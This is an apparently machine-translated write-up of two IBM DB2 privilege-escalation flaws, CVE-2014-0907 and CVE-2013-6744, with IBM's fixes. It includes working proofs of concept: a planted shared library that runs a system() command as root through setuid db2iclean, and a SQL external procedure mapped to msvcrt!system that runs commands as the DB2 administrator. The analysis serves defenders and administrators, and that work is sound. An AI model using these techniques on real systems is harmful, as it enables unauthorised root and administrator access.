Two recent IBM DB2 LUW vulnerability elevation Analyses

Two recent IBM DB2 LUW vulnerability elevation Analyses

IBM recently released two security vulnerability patches for linux, unix, and windows that affect DB2.

This article will discuss the two vulnerabilities (CVE-2014-0907 and CVE-2013-6744) of some technical details, in this way, the database administrator can evaluate the risks of the database environment and help the Administrator design a more reasonable and secure solution.

First: (CVE-2014-0907) DB2 execution Elevation of Privilege Vulnerability

If DB2 is installed on the computer where you want to escalate permissions, you should be happy ~

Under certain conditions, this vulnerability allows a common local user to obtain the root permission. You can click here to read the original report of the vulnerability. Next we will follow the footsteps of the great gods to follow this CVE

In the announcement, IBM provides the following solutions:

$cd <DB2_instance_install_directory>$bin/db2chglibpath -s '\.:' -r '' adm/db2iclean

 

Next, let's take a look at how the command fixes this vulnerability and how hackers exploit it. :)

 

First, the db2chglibpath tool is used to change the search path of binary embedded library files.

Let's compare the returned values before and after running db2chglibpath:

 

This means that all the shared binary library files in the current path will be used as the search targets.

Next, let's take a look at what happened when db2iclean was executed.

$ sudo strace -o /tmp/db2iclean.log  $/home/db2inst1/sqllib/adm/db2iclean$ cat /tmp/db2iclean.log | more...access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)open("./tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)...open("./cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)open("./libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)open("/DoNotCreateThisPath_marker1.*chglibpath/tls/i686/sse2/cmov/libdb2ure2.so.1", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)...

From the returned values above, we can see that the application will first try to load the libdb2ure2. so.1 file in the current directory, and then search and load the file in the DB2 installation directory after it cannot be found. At this time, if a malicious library file "exactly" exists in this location, the library file will be loaded, and because the db2iclean command is executed under the root permission, therefore, malicious code is equivalent to running under root. However, the db2clean command is not publicly executed. Therefore, attackers must make the execution account a member of The db2adm1 group to call the specified library file, or seduce other users (members of this group) the purpose of executing this library file can be achieved.

 

Below is the POC

Create a database file to replace the original DB2 database file. The Code is as follows:

// libdb2ure2.cpp#include <stdlib.h>int iGetHostName(char* n, int i){    system("id > /m.log");}

 

As a test, we only define a unique function. Can we see whether the cute db2iclean will be executed? Compile it first:

 

$ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp

Then, we run the db2iclean command as a common user to see if this process has the expected results:

<DB2_instance_install_directory>/adm/db2iclean

Take a look at the results:

$ cat /m.loguid=1004(james) gid=1001(james) euid=0(root) groups=0(root),126(db2iadm1),1001(james)

Take a look at the value of EUID. We found that the compiled function is finally run under root, which seems to be consistent with what we expected.

Repair suggestions

 

The repair advice provided by IBM is: Upgrade the SUID library file, and do not load those unknown library files in the current directory search, that's it! Dangerous!

 

Remind our developers and friends! Never think that untrusted paths are safe! Linen fell!

(Mom said, don't talk to strangers !)

 

Issue 2: (CVE-2013-6744) Improper DB2 permission control resulting in Elevation of Privilege

The first issue is in the linux environment. The second issue is in a win environment: this vulnerability allows windows login users to gain Administrator privileges. Let's take a look at the detailed information about this vulnerability:

Prerequisites for exploits:

1. valid database creden2 2. Database Connection permission (CONNECT privilege) 3. Create a routine. This permission will not be publicly granted (CREATE_EXTERNAL_ROUTINE)

 

By default, privileged accounts on Windows are not subject to access control checks when the DB2 service is running. This means that a database file can be created and called through the CREATE_EXTERNAL_ROUTINE permission, thus improving the permissions.

Below is the POC

Test environment:

1. DB2 LUW10.1 Fix Pack 1 version 2. DB2 performs the default configuration

First, use the user who has obtained the CREATE_EXTERNAL_ROUTINE permission to run the following DDL statements and use the C runtime system to create a package:

CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL

 

Next, call:

CALL db2_exec('whoami /all > C:\whoami.log')

Then let's take a look at the file we created: We found that the log file contains the db2admin information. This means that a non-Administrator account is successfully executed with Administrator, indicating that the test result is correct.

However, since this vulnerability only requires Windows to meet the requirements, this vulnerability only affects Windows installation, so linux users can rest assured that ~~

Repair suggestions

IBM recommends that you only grant CREATE_EXTERNAL_ROUTINE privileges to trusted users.

Note that after the second vulnerability is fixed, the service must be restarted to take effect.